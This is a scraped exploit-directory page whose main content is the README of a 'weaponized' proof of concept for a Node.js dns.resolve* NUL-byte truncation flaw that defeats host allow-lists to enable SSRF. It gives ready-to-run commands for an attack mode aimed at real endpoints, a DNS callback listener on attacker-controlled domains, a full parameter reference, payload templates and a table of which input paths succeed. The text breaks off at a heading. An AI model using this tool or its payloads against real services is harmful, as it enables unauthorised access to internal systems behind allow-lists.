Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-105482-POC — Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes. | Kitploit
ツール/GitHubGitHub/catermaozi/cve-2026-105482-poc
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingRed TeamingDNS Analysis
GitHubcatermaozi/cve-2026-105482-poc

CVE-2026-105482-POC

Weaponized POC for CVE-2026-105482: Node.js dns.resolve* NUL-byte truncation bypasses host allow-lists to enable SSRF, with selftest, demo, DNS callback listener and attack modes.

リポジトリを見る
922026年10月24日未レビュー

関連ツール

  • nuclei

    高速なYAMLベースの脆弱性スキャナーで、テンプレート駆動型の検出エンジンを備え、Webアプリ、API、ネットワーク、DNS、クラウドインフラストラクチャにわたる自動セキュリティテストを実現します。

  • zaproxy

    オープンソースのWebアプリケーションセキュリティスキャナーで、自動脆弱性検出、手動ペネトレーションテスト、プロキシベースのインターセプションエンジンによるAPIセキュリティテストを提供します。

  • openvas-scanner

    このリポジトリには、Greenbone Community Edition のスキャナーコンポーネントが含まれています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

  • 1

    Callisto

    jetp1ane/callisto

    Ghidraを介して実行可能ファイルを逆コンパイルし、Semgrepで擬似Cコードをスキャンし、GPT-3.5-Turboを使用して検出結果を検証することで誤検知を低減する、自動化されたバイナリ脆弱性解析ツール。

    2.2k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock ワンタップ実行アプリ(CVE-2026-43499)

    801
  • 3

    DFRoot

    a2333c/dfroot

    Samsung Galaxy S25 Ultra (SM-S938B) 向けの Android root ツール。DirtyFrag CVE-2026-43284 と CVE-2026-43499 を連鎖させ、KernelSU 経由で起動時に自動的に root を取得します。

    455
  • 4

    ARTEX

    baarai/artex

    プランナー/ワーカーエージェント、資産グラフと探索グラフ、MITMトラフィック記録、脆弱性の再テストを備えたLLMマルチエージェント自律ペネトレーションテストプラットフォーム。

    392
  • 5

    faraday

    infobyte/faraday

    オープンソースかつAIを活用したサイバーセキュリティツール。オフェンシブセキュリティ、脆弱性管理、自律型ペネトレーションテスト向け。ラテンアメリカのハッカーによって開発され、世界中で使用されています。

    350
  • 6

    OsintHunter

    letox4/osinthunter

    🎯 究極のOSINTツールキット:調査グラフ、信頼度スコアリング、エイリアスファミリー、マップ、タイムライン、レポート。49個のモジュール、400以上のサイト、APIキー不要。

    332

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
要求された言語のコンテンツは利用できません。英語版を表示しています。

CVE-2026-105482 — Node.js dns.resolve* NUL Byte Truncation

Host allowlist bypass → SSRF. Weaponized, end-to-end tested and verified.

CVE Affected Versions Python Dependencies License Sister Repository


Vulnerability Details

"attacker.example\0.trusted.corp".endsWith(".trusted.corp")  // true

dns.resolve4() hands this string to c-ares, and c-ares treats it as a C string, silently stopping at the first 0x00. The application validates the full string, but what gets resolved on the network is only the part before the NUL.

应用层校验 : attacker.example\0.trusted.corp   -> 判定在白名单内
解析器收到 : attacker.example                  -> 攻击者自己的 DNS 服务器

Any DNS domain name an attacker can control thus slips through a filter that believed it was only allowing internal hosts.


Affected Versions

Version LineAffectedFixed Version
22.x< 22.23.422.23.4
24.x< 24.22.124.22.1
26.x< 26.12.126.12.1
All EOL version linesNot fixed—

Only the c-ares path is affected: dns.resolve4, dns.resolve6, dns.resolveAny, dns.resolve, dns.resolveCname, dns.resolveMx …… dns.lookup() uses getaddrinfo() and is not affected. For the full tested list, see Reachability Matrix.


Quick Start

./run.sh                # 环境检查 + selftest + 端到端 demo

Windows:

run.bat

No third-party dependencies. Only the Python 3.8+ standard library is required, along with node in PATH.

Manual invocation:

python3 cve_2026_105482.py selftest   # 判断当前运行时是否受影响
python3 cve_2026_105482.py demo       # 打穿自带的存在漏洞的 mock 服务
python3 cve_2026_105482.py dnsd       # 独立的 DNS 回调监听器
python3 cve_2026_105482.py attack …   # 对真实接口发起注入

Mode Details

selftest — Differential Probing

Starts a local DNS server, runs a matrix of API calls, and then reports which calls actually passed the truncated name to c-ares. This is a behavioral test, not a version-number comparison — it works equally well against runtimes that have been patched and recompiled, or that have backported the fix themselves.

=== local runtime matrix ===
node: v22.16.0
  case             api          host (NUL shown as \0)               outcome    truncated?
  baseline         resolve4     nul-canary-3xiai1.example.invalid    resolved   no
  nul-resolve4     resolve4     nul-canary-3xiai1\0.trusted.corp     resolved   YES
  nul-resolveAny   resolveAny   nul-canary-3xiai12\0.trusted.corp    error      YES
  nul-reverse      reverse      127.0.0.1\0.trusted.corp             error      no
  nul-lookup       lookup       nul-canary-3xiai13\0.trusted.corp    error      no

  resolver saw: ['nul-canary-3xiai1.example.invalid', 'nul-canary-3xiai1', 'nul-canary-3xiai12']

[-] VULNERABLE - dns.resolve* truncated the name at the NUL byte

nul-lookup and nul-reverse are counterexamples: they can help you avoid wasting a day on an interface that uses getaddrinfo.

demo — Full exploit chain, no target required

Start a mock service

if (!target.toLowerCase().endsWith(".trusted.corp")) return deny();
dns.resolve4(target, cb);
--- 1) control: a name outside the zone is rejected ---
    status=403 body=DENY whitelist: "plain.example.com"

--- 2) attack: 'evil\0.trusted.corp' passes the allow-list ---
[+] CALLBACK  8et8143.attacker.example  A  from 127.0.0.1:53318
    status=200 body=RESOLVED "8et8143.attacker.example\u0000.trusted.corp" -> 203.0.113.7

[+] DEMO PASSED - allow-list said yes, DNS actually queried '8et8143.attacker.example'

dnsd — Callback Listener

A minimal, semi-authoritative UDP DNS server. It logs every query and responds to A/AAAA, so that the subsequent stages of the SSRF chain can keep running.

python3 cve_2026_105482.py dnsd --listen 0.0.0.0:5353 --log hits.jsonl

When the target's parser can connect directly to you, use it and skip the listener built into attack.

attack — Attack the real interface

python3 cve_2026_105482.py attack \
    --url https://target.tld/api/fetch --method POST \
    --format json --param url \
    --suffix .trusted.corp \
    --evil 7f3a.oob.example \
    --dns-listen 0.0.0.0:5353 --dns-log hits.jsonl

Exit code 0 indicates a callback was received — the allowlist has been bypassed.


attack Parameter Reference

ParameterDefaultPurpose
--urlrequiredThe endpoint that will ultimately call dns.resolve*
--methodPOSTHTTP method
--formatjsonjson · form · query · raw · header
--paramurlField name / query parameter name / header name to inject into
--suffix—Allowlist suffix to preserve, e.g. .trusted.corp (repeatable)
--suffix-file—One suffix per line; # comments allowed
--evilrandomDomain under your control
--evil-domain—Generate <随机>.<该值> instead of a fixed name
--host-template{evil}\0{suffix}Fully control the shape of the injected string
--wrap-urloffAlso try http://<payload>/ and https://<payload>/
--body-template—Raw request body, using the {payload} placeholder
--header—Additional request headers, Name: value (repeatable)
--proxy—Route through an intercepting proxy
--timeout15Per-request timeout (seconds)
--wait2.0Wait time before checking for a callback
--dns-listen—Start the built-in listener, 0.0.0.0:5353
--dns-answer203.0.113.7A record returned by the listener
--dns-log—Append each hit to a JSONL file

Injection Shapes Worth Trying

# 1. JSON body 里的裸主机名
--format json --param url

# 2. 接口要求传入完整 URL
--format json --param url --wrap-url

# 3. 值被嵌进 HTML / 模板的场景
--host-template '<img src="http://{evil}\0{suffix}/x">'

# 4. form 表单上传处理
--format form --param callback_url

# 5. 一次跑多个白名单域
--suffix .trusted.corp --suffix .internal.example --suffix .svc.cluster.local

Why it works, and where it doesn't

PathUsableNotes
JSON body → dns.resolve4Yes\u0000 can pass through JSON.parse
Form field → dns.resolve4YesSame string path
Message queue / config entryYesAny carrier that ultimately produces a JS string
new URL("http://a%00.b/")NoThrows an exception directly — %00 is rejected
http.request({ host })NoNUL is rejected when constructing the Host header
fetch()NoGoes through URL
dns.lookup()NoGoes through getaddrinfo, not c-ares
dns.reverse()NoRejected first by inet_pton

The NUL must be handed to dns.resolve* intact, as a JavaScript string. Usually this means: a JSON body, a form field decoded by the application itself, a queue message, or a stored config value.


Where it pays off

ツールをダウンロード